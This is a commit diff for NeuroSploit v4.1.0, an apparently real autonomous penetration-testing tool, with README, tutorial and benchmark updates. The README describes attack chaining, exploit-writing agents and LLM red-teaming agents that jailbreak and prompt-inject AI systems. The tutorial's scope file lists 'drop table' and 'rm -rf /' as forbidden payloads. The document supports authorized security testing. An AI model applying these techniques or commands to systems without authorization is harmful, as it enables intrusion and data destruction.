mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-09-30 21:19:49 +02:00
release: v4.1.0 — assurance layer, TypeSafe, hardening + benchmark
Version bumped to 4.1.0 across the workspace, binaries, web console and Typst template. README: new "New in v4.1.0" summary; trimmed the verbose highlight bullets and the TypeSafe section; removed the anti-plagiarism/provenance section (provenance stays in the code, just not front-and-centre in the README); TypeSafe promoted to its own top-level section; agent count 446. TUTORIAL: new section 17 "Assurance & authorization" covering the target gate, --scope-file, evidence-graded CVSS, audit anchoring + assurance bundle, sandbox, intercept proxy, PoC re-validation, compliance mapping, TypeSafe, and the internal/AD graph + budget governor. benchmarks/typesafe-2026-09-20/: the with/without TypeSafe measurement — report.html, scorer, both runs' findings/assurance/meta/logs, and a README. No secrets committed (env-only during the runs, verified clean). 381 tests. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
CyberSecurityUPandClaude Opus 5 committed
1 parent
d2ec0a112d
commit
088d133c80
28 files changed
+4292
-126
No files matched your search
@@ -1,4 +1,4 @@
|
|||||||
<h1 align="center">🧠 NeuroSploit v4.0.0</h1>
|
<h1 align="center">🧠 NeuroSploit v4.1.0</h1>
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<a href="https://github.com/JoasASantos/NeuroSploit/stargazers"><img src="https://img.shields.io/github/stars/JoasASantos/NeuroSploit?style=for-the-badge&logo=github&color=8b5cf6" alt="Stars"></a>
|
<a href="https://github.com/JoasASantos/NeuroSploit/stargazers"><img src="https://img.shields.io/github/stars/JoasASantos/NeuroSploit?style=for-the-badge&logo=github&color=8b5cf6" alt="Stars"></a>
|
||||||
@@ -8,10 +8,10 @@
|
|||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="https://img.shields.io/badge/Version-4.0.0-blue?style=flat-square">
|
<img src="https://img.shields.io/badge/Version-4.1.0-blue?style=flat-square">
|
||||||
<img src="https://img.shields.io/badge/Harness-Rust%20%7C%20tokio-e6b673?style=flat-square">
|
<img src="https://img.shields.io/badge/Harness-Rust%20%7C%20tokio-e6b673?style=flat-square">
|
||||||
<img src="https://img.shields.io/badge/License-MIT-green?style=flat-square">
|
<img src="https://img.shields.io/badge/License-MIT-green?style=flat-square">
|
||||||
<img src="https://img.shields.io/badge/MD%20Agents-435-red?style=flat-square">
|
<img src="https://img.shields.io/badge/MD%20Agents-446-red?style=flat-square">
|
||||||
<img src="https://img.shields.io/badge/Models-18%20providers-success?style=flat-square">
|
<img src="https://img.shields.io/badge/Models-18%20providers-success?style=flat-square">
|
||||||
<img src="https://img.shields.io/badge/Modes-Black%20%7C%20White%20%7C%20Grey%20%7C%20Host%20%7C%20AI-9cf?style=flat-square">
|
<img src="https://img.shields.io/badge/Modes-Black%20%7C%20White%20%7C%20Grey%20%7C%20Host%20%7C%20AI-9cf?style=flat-square">
|
||||||
<img src="https://img.shields.io/badge/Auth-API%20key%20%7C%20Subscription-orange?style=flat-square">
|
<img src="https://img.shields.io/badge/Auth-API%20key%20%7C%20Subscription-orange?style=flat-square">
|
||||||
@@ -50,50 +50,43 @@ Control TUI**.
|
|||||||
|
|
||||||
### Highlights
|
### Highlights
|
||||||
|
|
||||||
- 🧠 **POMDP belief + value-of-information** — the target is partially observable,
|
> **New in v4.1.0** — evidence-graded CVSS computed from the FIRST v3.1 equation
|
||||||
so findings aren't booleans: a property-graph **belief** carries probabilities,
|
> (not guessed by class); a **target-authorization gate** (default-deny, refuses a
|
||||||
and "scan more vs exploit now" falls out of belief entropy. The `may_assert`
|
> target outside the capability grant before any recon); **audit anchoring** that
|
||||||
gate is a **mathematical anti-hallucination rule** (don't claim exploitability
|
> detects truncation & silent rebuilds; a signed **assurance bundle** (P1–P5 in one
|
||||||
while the belief is diffuse).
|
> manifest per run); **scope-evasion resistance** (alt-IP-encoding normalization,
|
||||||
- 🧾 **Grounding** — hard rule: **no claim without a receipt** (evidence, not
|
> redirect-to-private-IP block, DNS-rebinding guard); **evidence-integrity** checks
|
||||||
paraphrase). Empirical (raw tool output) for black-box/host/AI, **symbolic**
|
> (cross-target / reused-receipt / foreign-marker / orphan-claim rejection);
|
||||||
(`file:line` into the reviewed source — a code citation *is* the receipt) for
|
> **untrusted-output taint** (prompt-injection stripping + data fencing); a
|
||||||
white-box SAST & skills audits, and **either** for grey-box; ungrounded claims
|
> **`--scope-file` YAML loader** + web Scoping/Guardrails UI; a **Kali sandbox**
|
||||||
are demoted.
|
> (`--sandbox`), **intercept proxy** (`--intercept burp|caido|zap|mitmproxy|own`),
|
||||||
- 🔬 **Deterministic HTTP probe** — before the model recon, the harness runs a
|
> **PoC re-validation** (`--revalidate-poc`), **compliance mapping**
|
||||||
**real** request/response analysis (status/redirects, security headers, cookie
|
> (`--compliance pci-dss,hipaa,soc2`); an **internal-network / AD attack graph**;
|
||||||
flags, CORS reflection, tech fingerprint, linked JS, 404 baseline, high-signal
|
> a **reasoning-budget governor** (`--budget`); and **TypeSafe System One**
|
||||||
paths) and feeds those observed facts into recon, so agent selection and
|
> (`--typesafe on|off|auto`) as a calibrated confirmation + adjudication layer.
|
||||||
exploitation decisions are grounded in evidence — not the model's guess.
|
> 27 deterministic per-CWE validators, 446 agents. See
|
||||||
- 🔗 **Attack chaining — any primitive pivots.** 13 multi-stage chain agents
|
> [benchmarks/typesafe-2026-09-20](benchmarks/typesafe-2026-09-20/) for a
|
||||||
(SQLi→RCE→LPE, SSRF→cloud creds, upload→LFI→RCE→LPE, CVE→RCE→pivot, …) **plus a
|
> with/without measurement.
|
||||||
chaining doctrine** that turns *any* confirmed foothold into the next step:
|
|
||||||
reduce it to a primitive (exec / read / write / request-forgery / identity /
|
- 🧠 **POMDP belief + anti-hallucination gate** — findings aren't booleans; a
|
||||||
secret) and pivot — file-upload→RCE, SSRF→metadata creds, IDOR→takeover — reusing
|
property-graph belief carries probabilities, and `may_assert` refuses to claim
|
||||||
looted creds and reasoning about **business logic** (payment/tenancy/workflow
|
exploitability while the belief is diffuse.
|
||||||
abuse). Each stage proven; strictly non-destructive (no data loss, no DB
|
- 🧾 **Grounding — no claim without a receipt.** Empirical (raw tool output) or
|
||||||
overwrite, no DoS).
|
symbolic (`file:line` into the reviewed source); ungrounded claims are demoted.
|
||||||
- ☁️ **Cloud testing** — AWS / GCP / Azure agents that drive the provider CLIs
|
- 🔬 **Deterministic HTTP probe** feeds observed facts (headers, cookies, CORS,
|
||||||
(`aws`/`gcloud`/`az`). Connect via `creds.yaml`: AWS keys, a Google
|
fingerprint, JS, 404 baseline) into recon — decisions grounded in evidence,
|
||||||
service-account JSON, or an Azure service principal — see
|
not the model's guess.
|
||||||
[Cloud credentials](#cloud-credentials-awsgcpazure).
|
- 🔗 **Attack chaining — any primitive pivots.** Reduce a foothold to a primitive
|
||||||
- 🤖 **LLM red-teaming** — 30 AI agents that jailbreak & prompt-inject a live AI
|
(exec/read/write/request-forgery/identity/secret) and pivot; each stage proven,
|
||||||
system across scenarios: **AdvPrefix**, **PAIR**, **TAP**, **Crescendo**,
|
strictly non-destructive.
|
||||||
many-shot, persona/DAN, encoding/obfuscation, refusal-suppression; plus
|
- ☁️ **Cloud testing** — AWS / GCP / Azure agents driving `aws`/`gcloud`/`az` via
|
||||||
**indirect injection** (RAG/web/email/tool output), **goal hijacking**,
|
`creds.yaml` ([details](#cloud-credentials-awsgcpazure)).
|
||||||
tool/function-call abuse, and system-prompt exfiltration. Each runs an
|
- 🤖 **LLM red-teaming** — jailbreak & prompt-inject a live AI system (AdvPrefix,
|
||||||
attacker→**LLM-judge** loop (baseline refusal → technique → verdict) and proves
|
PAIR, TAP, Crescendo, indirect injection, goal hijacking) via an attacker→judge
|
||||||
the bypass with a **benign, redacted** receipt. Maps to OWASP LLM Top 10 (2025),
|
loop; maps to OWASP LLM Top 10.
|
||||||
MCP threats & OWASP AI Exchange; Skill/plugin & **n8n** files audited white-box.
|
- 🧰 **Misconfig & CVE pipeline** — fingerprint → CVE research → PoC finder →
|
||||||
- 🧰 **Misconfig & CVE hunting → exploitation, safely** — a full CVE pipeline:
|
exploit scripter; every PoC written to `pocs/` and referenced in the report,
|
||||||
**version fingerprint** (pin exact versions) → **research analyst** (map to
|
under a strict data-safety/PII guardrail.
|
||||||
NVD/GHSA CVEs, judge reachability) → **PoC finder** (locate/vet/adapt a public
|
|
||||||
PoC) → **exploit scripter** (write a custom exploit when none exists). Every PoC
|
|
||||||
is written to the run's **`pocs/` folder and referenced in the report** so
|
|
||||||
findings are reproducible. Plus absurd-misconfig agents (exposed `.git`/`.env`,
|
|
||||||
debug/actuator, default creds, dashboards, CORS) and rate-limit testing — all
|
|
||||||
under a strict **data-safety/PII guardrail** (no destructive/state-changing
|
|
||||||
actions; PII proven with a masked sample, never dumped).
|
|
||||||
- 🎯 **Re-test one vulnerability** — `--only <agent>` (repeatable /
|
- 🎯 **Re-test one vulnerability** — `--only <agent>` (repeatable /
|
||||||
comma-separated) runs exactly the agent(s) you name and skips recon-based
|
comma-separated) runs exactly the agent(s) you name and skips recon-based
|
||||||
selection — re-test a single finding fast. Works on `run` / `whitebox` /
|
selection — re-test a single finding fast. Works on `run` / `whitebox` /
|
||||||
@@ -495,63 +488,25 @@ neurosploit run https://app.example --creds creds.yaml \
|
|||||||
Each finding is proven with the **authorized vs unauthorized** request pair, under
|
Each finding is proven with the **authorized vs unauthorized** request pair, under
|
||||||
the data-safety guardrail (read-only, PII masked).
|
the data-safety guardrail (read-only, PII masked).
|
||||||
|
|
||||||
## 🏷️ Identification & attribution (anti-plagiarism)
|
## 🧮 TypeSafe System One — calibrated adjudication
|
||||||
|
|
||||||
Every request is tagged with an identifying **User-Agent** (default
|
Set `TYPESAFE_API_KEY` and NeuroSploit adjudicates each finding with TypeSafe's
|
||||||
`NeuroSploit/<ver> …`, change with **`/ua`** or `NEUROSPLOIT_UA`) plus an
|
System One model (Jev): a calibrated `{confirmed, needs-review, rejected}`
|
||||||
`X-NeuroSploit-Scan` header, and every finding is **stamped** "Identified and
|
judgment over the *evidence* (not the prose), plus a check on whether real
|
||||||
validated by NeuroSploit" — so provenance travels in the traffic, the finding
|
impact was demonstrated. It refines confidence, re-grades CVSS when impact is
|
||||||
text, `findings.json` and the report footer.
|
unproven, and runs a code-owned confirmation loop over enumerable classes
|
||||||
|
(XSS/SQLi/redirect/traversal/SSRF/IDOR). **Additive** — a deterministic
|
||||||
### Provenance — which build made this, and does it still match
|
validator still rules; TypeSafe only lowers confidence or flags for review,
|
||||||
|
never resurrects a rejected claim.
|
||||||
Attribution that survives someone else's copy-paste:
|
|
||||||
|
|
||||||
- **`JOASNSCOPE`** leads every canary the harness mints, so a marker that
|
|
||||||
turns up later — in a response body, a customer's log, somebody else's
|
|
||||||
report — extracts whole and names the build that made it.
|
|
||||||
- **Per-build fingerprint** (`neurosploit provenance show`), plus an optional
|
|
||||||
per-customer build id via `NEUROSPLOIT_CUSTOMER_ID`.
|
|
||||||
- **`findings.json` is stamped** with `_engine`, and a **signed
|
|
||||||
`provenance.json`** ships beside it (`NEUROSPLOIT_PROVENANCE_KEY`).
|
|
||||||
- **Structural signature** over the finding set's shape — it survives
|
|
||||||
rewording and reformatting, but not a changed result.
|
|
||||||
- **Prompts are watermarked** at the single model-pool chokepoint
|
|
||||||
(`NEUROSPLOIT_WATERMARK=off` to disable).
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
neurosploit provenance show # this build's identity
|
neurosploit run https://app --typesafe on # calibrated adjudication + confirmation
|
||||||
neurosploit provenance scan report.pdf.txt # is this ours? which build?
|
neurosploit run https://app --typesafe off # the identical pipeline, no TypeSafe (A/B)
|
||||||
neurosploit provenance verify runs/ns-… # manifest vs findings
|
|
||||||
```
|
```
|
||||||
|
|
||||||
### TypeSafe System One — calibrated adjudication (RLCD)
|
`--typesafe auto` (default) is on when the key is set. Each run's `meta.json`
|
||||||
|
records `"typesafe": true|false` — a clean with/without measurement, one of
|
||||||
When `TYPESAFE_API_KEY` is set, each finding is adjudicated by TypeSafe's
|
which lives in [`benchmarks/typesafe-2026-09-20/`](benchmarks/typesafe-2026-09-20/).
|
||||||
System One model (Jev) — a **calibrated decision** over its *evidence*, not its
|
|
||||||
prose: a `Choice` of `{confirmed, needs-review, rejected}` with a probability
|
|
||||||
distribution, plus a `Noul` on whether real impact was demonstrated. The result
|
|
||||||
refines the finding's confidence and moves borderline cases to needs-review.
|
|
||||||
|
|
||||||
It is **additive**: a deterministic validator still rules (a rejected finding
|
|
||||||
stays rejected), and TypeSafe can only lower confidence or flag for review,
|
|
||||||
never resurrect a claim. Every adjudication is written to the audit trail.
|
|
||||||
Disable with `NEUROSPLOIT_TYPESAFE=off`. This is the RLCD (Reinforcement
|
|
||||||
Learning for Calibrated Decisions) tier of the model stack — typed judgments
|
|
||||||
where the harness needs a number, not a paragraph.
|
|
||||||
|
|
||||||
**As an additional confirmation strategy** (`typesafe_agent`), a code-owned loop
|
|
||||||
where TypeSafe picks the next payload (`Choice`) and judges the real response
|
|
||||||
(`Noul`) over the replay engine — for enumerable classes (XSS, SQLi, open
|
|
||||||
redirect, path traversal, SSRF, IDOR). It runs only on findings the LLM path
|
|
||||||
left unconfirmed or in needs-review (the recall lever), can only raise a finding
|
|
||||||
to confirmed with a calibrated probability, never downgrades, and refuses edge
|
|
||||||
(WAF) responses. It is **not** a discovery agent — System One does not generate.
|
|
||||||
|
|
||||||
**Flag & A/B.** `--typesafe on|off|auto` (default auto = on when the key is set).
|
|
||||||
`off` runs the *identical* pipeline without it, and the run's `meta.json` records
|
|
||||||
`"typesafe": true|false` — so a with/without pair against the same target is a
|
|
||||||
clean measurement of what it adds.
|
|
||||||
|
|
||||||
### Scope-evasion resistance, evidence integrity, untrusted output
|
### Scope-evasion resistance, evidence integrity, untrusted output
|
||||||
|
|
||||||
|
|||||||
+108
-4
@@ -1,4 +1,4 @@
|
|||||||
# NeuroSploit — Tutorial & User Guide (v4.0.0)
|
# NeuroSploit — Tutorial & User Guide (v4.1.0)
|
||||||
|
|
||||||
A complete, hands-on guide to installing, configuring and running NeuroSploit —
|
A complete, hands-on guide to installing, configuring and running NeuroSploit —
|
||||||
the autonomous, multi-model penetration-testing harness.
|
the autonomous, multi-model penetration-testing harness.
|
||||||
@@ -31,7 +31,8 @@ the autonomous, multi-model penetration-testing harness.
|
|||||||
14. [The agent library](#14-the-agent-library)
|
14. [The agent library](#14-the-agent-library)
|
||||||
15. [Playwright MCP & extra tools](#15-playwright-mcp--extra-tools)
|
15. [Playwright MCP & extra tools](#15-playwright-mcp--extra-tools)
|
||||||
16. [Tips, tuning & troubleshooting](#16-tips-tuning--troubleshooting)
|
16. [Tips, tuning & troubleshooting](#16-tips-tuning--troubleshooting)
|
||||||
17. [Command & flag reference](#17-command--flag-reference)
|
17. [Assurance & authorization (v4.1.0)](#17-assurance--authorization)
|
||||||
|
18. [Command & flag reference](#18-command--flag-reference)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -99,7 +100,7 @@ Agents **degrade gracefully**: if `rustscan` is absent they use `nmap`; if neith
|
|||||||
### Verify
|
### Verify
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
neurosploit --version # neurosploit 4.0.0
|
neurosploit --version # neurosploit 4.1.0
|
||||||
neurosploit agents # {"vulns":241,...,"ai":30,...,"total":430}
|
neurosploit agents # {"vulns":241,...,"ai":30,...,"total":430}
|
||||||
neurosploit models # all providers & models
|
neurosploit models # all providers & models
|
||||||
```
|
```
|
||||||
@@ -713,7 +714,110 @@ back to `curl`. You can add more MCP servers by placing a `mcp.servers.json`
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 17. Command & flag reference
|
## 17. Assurance & authorization
|
||||||
|
|
||||||
|
v4.1.0 adds a layer of controls that make a run **defensible**, not just
|
||||||
|
productive. All are enforced in code (not prompt text) and every decision lands
|
||||||
|
in the hash-chained audit trail.
|
||||||
|
|
||||||
|
### Target authorization gate (default-deny)
|
||||||
|
|
||||||
|
Before any recon, the target is checked against the capability grant — protocol,
|
||||||
|
host, port, URL prefix. A signed token that does not cover the target **refuses
|
||||||
|
the run** and exits non-zero:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# mint a grant for one host, then run against a different one → refused
|
||||||
|
neurosploit capability issue --scope app.example.com --issuer you --subject op --hours 8
|
||||||
|
neurosploit run https://other.example.com --capability-token <tok>
|
||||||
|
# ⛔ DENY_TARGET_OUTSIDE_GRANT — other.example.com is outside the authorized scope
|
||||||
|
# (non-zero exit; nothing was tested; the denial is audited)
|
||||||
|
```
|
||||||
|
|
||||||
|
Loopback (`localhost`/`127.0.0.1`) is exempt — it is unambiguous.
|
||||||
|
|
||||||
|
### Hard scope from a file
|
||||||
|
|
||||||
|
```bash
|
||||||
|
neurosploit run https://app.example.com --scope-file scope.yaml
|
||||||
|
```
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
# scope.yaml — enforced in code; a capability token still caps it
|
||||||
|
hard: [ app.example.com, "*.staging.example.com", 10.20.30.0/24 ]
|
||||||
|
exclude: [ payments.example.com ]
|
||||||
|
soft:
|
||||||
|
observe_only: [ cdn.example.com ]
|
||||||
|
allow_destructive_methods: false
|
||||||
|
max_requests_per_minute: 240
|
||||||
|
forbidden_payloads: [ "drop table", "rm -rf /" ]
|
||||||
|
notes: [ "SOW-2026-0142; window 02:00-06:00 UTC" ]
|
||||||
|
```
|
||||||
|
|
||||||
|
Alt-IP encodings (`0x7f000001`, `2130706433`, `0177.0.0.1`,
|
||||||
|
`::ffff:127.0.0.1`) all normalize to dotted-quad, so an exclude can't be dodged
|
||||||
|
by re-spelling; redirects to a private/loopback address are refused; a
|
||||||
|
DNS-rebinding guard refuses a name that re-resolves to a new internal address.
|
||||||
|
|
||||||
|
### Evidence-graded CVSS
|
||||||
|
|
||||||
|
The score is computed from the FIRST v3.1 equation, and each impact metric is
|
||||||
|
graded against a receipt. SQLi that reached the interpreter but extracted
|
||||||
|
nothing scores **demonstrated 0 / potential 9.8** — never a manufactured
|
||||||
|
critical. The vector travels with the number in the report.
|
||||||
|
|
||||||
|
### Audit anchoring & the assurance bundle
|
||||||
|
|
||||||
|
```bash
|
||||||
|
neurosploit audit <run> --anchor # chain + signed anchors: catch truncation/rebuild/forgery
|
||||||
|
neurosploit assurance <run> # P1–P5 in one manifest (authorization/enforcement/evidence/integrity/provenance)
|
||||||
|
neurosploit assurance <run> --verify # re-hash every artifact + check the signature
|
||||||
|
```
|
||||||
|
|
||||||
|
Set `NEUROSPLOIT_ANCHOR_DIR` to also write anchors to external append-only
|
||||||
|
(ideally WORM) storage, and `NEUROSPLOIT_PROVENANCE_KEY` to sign them.
|
||||||
|
|
||||||
|
### Tooling: sandbox · proxy · PoC re-validation · compliance
|
||||||
|
|
||||||
|
```bash
|
||||||
|
--sandbox # run agent commands in a Kali container (docker/podman)
|
||||||
|
--intercept burp|caido|zap|mitmproxy # route through a tool …
|
||||||
|
--intercept own | own+burp # … or the harness's own recording interceptor
|
||||||
|
--revalidate-poc # re-run each PoC; demote what no longer reproduces
|
||||||
|
--compliance pci-dss,hipaa,soc2 # map findings onto control requirements in the report
|
||||||
|
```
|
||||||
|
|
||||||
|
### TypeSafe System One (calibrated confirmation)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export TYPESAFE_API_KEY=... # then:
|
||||||
|
neurosploit run https://app --typesafe on # calibrated adjudication + confirmation loop
|
||||||
|
neurosploit run https://app --typesafe off # the identical pipeline, no TypeSafe (for A/B)
|
||||||
|
```
|
||||||
|
|
||||||
|
`--typesafe auto` (default) turns it on when the key is set. It adjudicates each
|
||||||
|
finding with a calibrated `{confirmed/needs-review/rejected}` judgment over the
|
||||||
|
*evidence*, re-grades CVSS when impact isn't demonstrated, prunes irrelevant
|
||||||
|
agents, and runs a code-owned confirmation loop over enumerable classes. It is
|
||||||
|
**additive** — a deterministic validator still rules; TypeSafe can only lower
|
||||||
|
confidence or flag for review, never resurrect a rejected claim. A with/without
|
||||||
|
measurement lives in [`benchmarks/typesafe-2026-09-20/`](benchmarks/typesafe-2026-09-20/).
|
||||||
|
|
||||||
|
### Internal network / AD & reasoning budget
|
||||||
|
|
||||||
|
```bash
|
||||||
|
neurosploit internal --graph g.json --scaffold corp.local --from foothold --mermaid
|
||||||
|
neurosploit run https://app --budget eco|balanced|aggressive # ration reasoning; default unlimited
|
||||||
|
```
|
||||||
|
|
||||||
|
The internal graph models an engagement as `Asset → Exposure → Weakness →
|
||||||
|
Credential → Privilege → Movement → Crown Jewel` and answers the question a
|
||||||
|
CVSS-sorted list can't: **which single edge, removed, cuts the most paths to the
|
||||||
|
crown jewels** (`choke_points`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 18. Command & flag reference
|
||||||
|
|
||||||
```
|
```
|
||||||
neurosploit # interactive REPL (resumes per project)
|
neurosploit # interactive REPL (resumes per project)
|
||||||
|
|||||||
@@ -0,0 +1,83 @@
|
|||||||
|
# NeuroSploit × TypeSafe — benchmark (2026-09-20)
|
||||||
|
|
||||||
|
Two identical NeuroSploit engagements against the same vulnerable target — one
|
||||||
|
plain, one with **TypeSafe System One (Jev)** as a calibrated confirmation
|
||||||
|
layer. Same model, same focus, same 13 seeded vulnerabilities. Only the
|
||||||
|
`--typesafe` flag differs.
|
||||||
|
|
||||||
|
Open **`report.html`** for the full visual write-up.
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Harness | NeuroSploit v4.0.0 |
|
||||||
|
| Model | `claude-opus-4-8` (subscription) |
|
||||||
|
| Target | NimbusCart / BenchMarkBurpAT · `http://localhost:3000` |
|
||||||
|
| Mode | black-box, `--recon 2`, `--vote-n 1`, `--max-agents 15` |
|
||||||
|
| Ground truth | 13 seeded scenarios (IDOR/BOLA, SQLi ×5, XSS ×4, open redirect, CRLF) |
|
||||||
|
| Solver | none — the LLM discovered and confirmed everything live |
|
||||||
|
|
||||||
|
Run commands (the only difference is `--typesafe`):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# A — no TypeSafe
|
||||||
|
NEUROSPLOIT_TYPESAFE=off neurosploit run http://localhost:3000 \
|
||||||
|
--subscription --model anthropic:claude-opus-4-8 \
|
||||||
|
--typesafe off --recon 2 --max-agents 15 --vote-n 1 --focus "<13 endpoints>" -v
|
||||||
|
|
||||||
|
# B — with TypeSafe (TYPESAFE_API_KEY set in env, never committed)
|
||||||
|
NEUROSPLOIT_TYPESAFE=on neurosploit run http://localhost:3000 \
|
||||||
|
--subscription --model anthropic:claude-opus-4-8 \
|
||||||
|
--typesafe on --recon 2 --max-agents 15 --vote-n 1 --focus "<13 endpoints>" -v
|
||||||
|
```
|
||||||
|
|
||||||
|
## Result
|
||||||
|
|
||||||
|
| Metric | A — no TypeSafe | B — TypeSafe |
|
||||||
|
|---|---|---|
|
||||||
|
| Targets hit | **10 / 13** | 9 / 13 |
|
||||||
|
| Findings | 16 | **18** |
|
||||||
|
| Wall-clock | 32m 12s | **26m 53s** |
|
||||||
|
| Criticals | 5 | 2 (recalibrated) |
|
||||||
|
| Belief-gate holds (POMDP) | 3 | — |
|
||||||
|
| Assurance P1–P5 | all present | all present |
|
||||||
|
| Model cost | $0 (subscription) | $0 + TypeSafe ≪ $5 |
|
||||||
|
|
||||||
|
Union coverage (both runs): **11 / 13**. Neither reached `web_sqli_second_order`
|
||||||
|
or `web_crlf_header_go`.
|
||||||
|
|
||||||
|
## Reading it honestly
|
||||||
|
|
||||||
|
- **Recall is a tie** — 10 vs 9 is within run-to-run variance at `vote-n 1`.
|
||||||
|
TypeSafe is a judgment layer, not a recall multiplier.
|
||||||
|
- **B surfaced 2 real net-new findings** the plain run missed (`config.json`
|
||||||
|
API-key exposure CWE-200, no-lockout brute force CWE-307) and caught
|
||||||
|
`web_idor_invoice`.
|
||||||
|
- **TypeSafe recalibrated severity** — 5 class-inflated Criticals → 2 evidence-
|
||||||
|
backed ones. On this target it *under-rated* one genuine critical (the BOLA
|
||||||
|
credential dump: A = Critical 9.1, B = Low). Calibration is a dial toward
|
||||||
|
defensibility, not a correctness oracle.
|
||||||
|
- **Harness gap found & fixed**: an earlier B collapsed to 0 findings when the
|
||||||
|
subscription hit a session limit mid-run — NeuroSploit treated the limit
|
||||||
|
message as a normal (exit-0) response and burned every agent. Now the
|
||||||
|
session-limit sentinel parks the run (`fix(models)`).
|
||||||
|
|
||||||
|
## Confounders
|
||||||
|
|
||||||
|
Single samples, not averages. `vote-n 1` = no cross-model agreement in either
|
||||||
|
arm. Recall scored by class + endpoint-keyword match (coverage, not graded
|
||||||
|
proof). One target. Treat as one honest data point, not a leaderboard.
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
```
|
||||||
|
report.html the visual write-up
|
||||||
|
score.py the scorer (class + endpoint keyword match vs the 13 targets)
|
||||||
|
scores.txt scorer output for both runs
|
||||||
|
run_a_no_typesafe/ findings.json · assurance.json · meta.json · report.html · run.log
|
||||||
|
run_b_typesafe/ findings.json · assurance.json · meta.json · report.html · run.log
|
||||||
|
```
|
||||||
|
|
||||||
|
The TypeSafe API key and any subscription tokens are **not** in these files
|
||||||
|
(env-only during the runs; verified clean before commit).
|
||||||
@@ -0,0 +1,282 @@
|
|||||||
|
<title>NeuroSploit × TypeSafe Benchmark</title>
|
||||||
|
<meta name="description" content="Head-to-head of NeuroSploit against a vulnerable target, with and without TypeSafe System One as a confirmation layer.">
|
||||||
|
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=IBM+Plex+Sans:wght@400;500;600&family=IBM+Plex+Mono:wght@400;500;600&family=Chivo:wght@600;700;800&display=swap">
|
||||||
|
<style>
|
||||||
|
:root{
|
||||||
|
--ground:#f4f2f7; --surface:#ffffff; --surface-2:#eceaf3; --line:#ddd8e8;
|
||||||
|
--ink:#1a1726; --muted:#6b6580; --faint:#938da6;
|
||||||
|
--accent:#6d4bd8; /* neuro violet */
|
||||||
|
--a:#c2701c; /* run A — amber (no typesafe) */
|
||||||
|
--b:#0e8f86; /* run B — teal (typesafe) */
|
||||||
|
--crit:#c8324a; --high:#d9743a; --med:#c2a01c; --low:#4a76c4; --info:#7b7590; --good:#1f9d68;
|
||||||
|
--shadow:0 1px 2px rgba(26,23,38,.06),0 6px 20px rgba(26,23,38,.06);
|
||||||
|
/* severity — vivid, identical in both themes (severity is not theme-relative) */
|
||||||
|
--sev-crit:#e5484d; --sev-high:#f76b15; --sev-med:#f5b301; --sev-low:#3e7bfa; --sev-info:#8b8698;
|
||||||
|
}
|
||||||
|
:root:not([data-theme="light"]){ @media (prefers-color-scheme:dark){
|
||||||
|
--ground:#0f0e17; --surface:#191627; --surface-2:#211d33; --line:#2e2942;
|
||||||
|
--ink:#eceaf5; --muted:#a49dbd; --faint:#736c8f;
|
||||||
|
--accent:#a78bfa; --a:#f0a95e; --b:#4fd6c6;
|
||||||
|
--crit:#f26d7d; --high:#f0965e; --med:#e6cd52; --low:#7aa6f0; --info:#9a93b4; --good:#5ee0a0;
|
||||||
|
--shadow:0 1px 2px rgba(0,0,0,.4),0 8px 30px rgba(0,0,0,.35);
|
||||||
|
}}
|
||||||
|
:root[data-theme="dark"]{
|
||||||
|
--ground:#0f0e17; --surface:#191627; --surface-2:#211d33; --line:#2e2942;
|
||||||
|
--ink:#eceaf5; --muted:#a49dbd; --faint:#736c8f;
|
||||||
|
--accent:#a78bfa; --a:#f0a95e; --b:#4fd6c6;
|
||||||
|
--crit:#f26d7d; --high:#f0965e; --med:#e6cd52; --low:#7aa6f0; --info:#9a93b4; --good:#5ee0a0;
|
||||||
|
--shadow:0 1px 2px rgba(0,0,0,.4),0 8px 30px rgba(0,0,0,.35);
|
||||||
|
}
|
||||||
|
*{box-sizing:border-box}
|
||||||
|
body{background:var(--ground);color:var(--ink);font-family:"IBM Plex Sans",system-ui,sans-serif;line-height:1.55;
|
||||||
|
-webkit-font-smoothing:antialiased;margin:0}
|
||||||
|
.wrap{max-width:1000px;margin:0 auto;padding:clamp(24px,5vw,64px) clamp(18px,4vw,40px)}
|
||||||
|
h1,h2,h3{font-family:"Chivo","IBM Plex Sans",sans-serif;text-wrap:balance;line-height:1.1;margin:0}
|
||||||
|
code,.mono,.num{font-family:"IBM Plex Mono",ui-monospace,monospace;font-variant-numeric:tabular-nums}
|
||||||
|
.eyebrow{font-family:"IBM Plex Mono",monospace;font-size:12px;letter-spacing:.18em;text-transform:uppercase;color:var(--accent);font-weight:600}
|
||||||
|
|
||||||
|
/* header */
|
||||||
|
header{border-bottom:1px solid var(--line);padding-bottom:28px;margin-bottom:36px}
|
||||||
|
h1{font-size:clamp(30px,5.5vw,50px);font-weight:800;margin:10px 0 8px;letter-spacing:-.02em}
|
||||||
|
.sub{color:var(--muted);font-size:16px;max-width:64ch}
|
||||||
|
.meta{display:flex;flex-wrap:wrap;gap:8px 18px;margin-top:18px;font-family:"IBM Plex Mono",monospace;font-size:12.5px;color:var(--faint)}
|
||||||
|
.meta b{color:var(--ink);font-weight:500}
|
||||||
|
|
||||||
|
/* thesis tiles */
|
||||||
|
.thesis{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:14px;margin:34px 0}
|
||||||
|
.tile{background:var(--surface);border:1px solid var(--line);border-radius:12px;padding:18px 18px 16px;box-shadow:var(--shadow)}
|
||||||
|
.tile .k{font-family:"IBM Plex Mono",monospace;font-size:11px;letter-spacing:.1em;text-transform:uppercase;color:var(--faint)}
|
||||||
|
